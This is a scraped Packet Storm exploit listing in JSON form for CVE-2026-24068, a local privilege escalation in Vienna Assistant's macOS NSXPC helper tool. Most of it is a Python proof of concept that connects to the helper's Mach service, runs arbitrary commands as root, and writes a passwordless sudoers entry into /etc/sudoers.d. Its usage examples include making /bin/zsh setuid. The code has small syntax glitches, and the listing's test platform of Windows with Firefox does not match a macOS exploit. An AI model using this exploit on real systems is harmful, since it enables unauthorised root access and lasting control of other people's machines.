{“lastseen”:”2026-04-27T16:30:33″,”description”:”A macOS helper service interface implemented via NSXPC was observed exposing methods that may allow privileged operations such as file writing and command execution through a remote proxy connection…”,”published”:”2026-04-27T00:00:00″,”modified”:”2026-04-27T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Vienna Assistant 1.2.542 macOS Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:219877″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-24068″],”sourceData”:”==================================================================================================================================\\n | # Title : Vienna Assistant 1.2.542 macOS NSXPC HelperTool Interface Abuse Leading to Potential Privilege Escalation |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.vsl.co.at\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : A macOS helper service interface implemented via NSXPC was observed exposing methods that may allow privileged operations such as file writing and command execution through a remote proxy connection.\\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import objc\\n from Foundation import *\\n import sys\\n import os\\n \\n objc.loadBundle(‘Foundation’, globals(), ‘\/System\/Library\/Frameworks\/Foundation.framework’)\\n \\n class HelperToolProtocol(objc.protocolNamed(‘HelperToolProtocol’)): \\n pass. pass\\n \\n class ExploitClient: \\n def __init__(self): \\n self. connection = None \\n \\n def connect(self): \\n \u201cContact HelperTool\u201d \\n try: \\n self.connection = NSXPCConnection.alloc().initWithMachServiceName_options_( \\n \\”com.vsl.HelperTool\\”, 0 \\n ) \\n self.connection.setRemoteObjectInterface_( \\n NSXPCInterface.interfaceWithProtocol_(HelperToolProtocol) \\n ) \\n self.connection.resume() \\n \\n if self.connection is None: \\n print(\\”[-] Connection object is None\\”) \\n return False \\n \\n print(\\”[+] Connected to HelperTool service\\”) \\n return True \\n except Exception as e: \\n print(f\\”[-] Connection failed: {e}\\”) \\n return False \\n \\n def write_file(self, path, content): \\n \u201cWrite a file anywhere as root.\u201d \\n try: \\n if not self.connection: \\n print(\\”[-] No active connection\\”) \\n return False \\n \\n remote = self.connection.remoteObjectProxy() \\n data = content.encode(‘utf-8’) \\n nsdata = NSData.dataWithBytes_length_(data, len(data)) \\n \\n if not remote: \\n print(\\”[-] Remote proxy unavailable\\”) \\n return False \\n \\n remote.writeReceiptFile_withData_withReply_(path, nsdata, lambda error: None) \\n print(f\\”[+] File written: {path}\\”) \\n return True \\n except Exception as e: \\n print(f\\”[-] Failed to write file: {e}\\”) \\n return False \\n \\n def execute_command(self, command, args=None): \\n \\”Execute command as root\\” \\n if args is None: \\n args = [] \\n \\n if not self.connection: \\n print(\\”[-] No active connection\\”) \\n return False \\n \\n nsargs = NSMutableArray.array() \\n for arg in args: \\n nsargs.addObject_(arg) \\n \\n try: \\n remote = self.connection.remoteObjectProxy() \\n \\n if not remote: \\n print(\\”[-] Remote proxy unavailable\\”) \\n return False \\n \\n remote.runUninstaller_withArgs_withReply_(command, nsargs, lambda error: None) \\n print(f\\”[+] Command executed: {command} {‘ ‘.join(args)}\\”) \\n return True \\n except Exception as e: \\n print(f\\”[-] Command execution failed: {e}\\”) \\n return False\\n \\n def main(): \\n print(\\”=\\” * 60) \\n print(\\”CVE-2026-24068 – Vienna Assistant Privilege Escalation\\”) \\n print(\\”macOS Local Privilege Escalation Exploit\\”) \\n print(\\”=\\” * 60) \\n print() \\n \\n if len(sys.argv) \\u003c 2: \\n print(f\\”Usage: {sys.argv[0]} \\u003ccommand\\u003e [args…]\\”) \\n print() \\n print(\\”Examples:\\”) \\n print(f\\” {sys.argv[0]} \/bin\/bash -c ‘id \\u003e \/tmp\/test.txt’\\”) \\n print(f\\” {sys.argv[0]} \/usr\/bin\/whoami\\”) \\n print(f\\” {sys.argv[0]} \/bin\/bash -c ‘chmod 4755 \/bin\/zsh’\\”) \\n sys. exit(1) \\n \\n client = ExploitClient() \\n if not client.connect(): \\n print(\\”[-] Failed to connect. Is Vienna Assistant installed?\\”) \\n sys. exit(1) \\n \\n command = sys.argv[1] \\n args = sys.argv[2:] if len(sys.argv) \\u003e 2 else [] \\n \\n print(f\\”[*] Executing: {command} {‘ ‘.join(args)}\\”) \\n client.execute_command(command, args) \\n \\n print(\\”\\\\n[*] Attempting additional exploitation methods…\\”) \\n current_user = os.environ.get(‘USER’) or \\”attacker\\” \\n \\n sudoers = f\\”{current_user} ALL=(ALL) NOPASSWD: ALL\\\\n\\” \\n client.write_file(f\\”\/etc\/sudoers.d\/{current_user}\\”, sudoers) \\n \\n client.write_file(\\”\/tmp\/vienna_exploited.txt\\”, \\”Vienna Assistant CVE-2026-24068 exploited successfully!\\\\n\\”) \\n \\n print(\\”\\\\n[+] Exploit completed!\\”) \\n print(\\”[*] Verification: cat \/tmp\/vienna_exploited.txt\\”)\\n \\n \\n if __name__ == \\”__main__\\”: \\n main()\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219877″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219877\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-27T16:30:33″,”description”:”A macOS helper service interface implemented via NSXPC was observed exposing methods that may allow privileged operations such as file writing and command execution through…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-49713","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n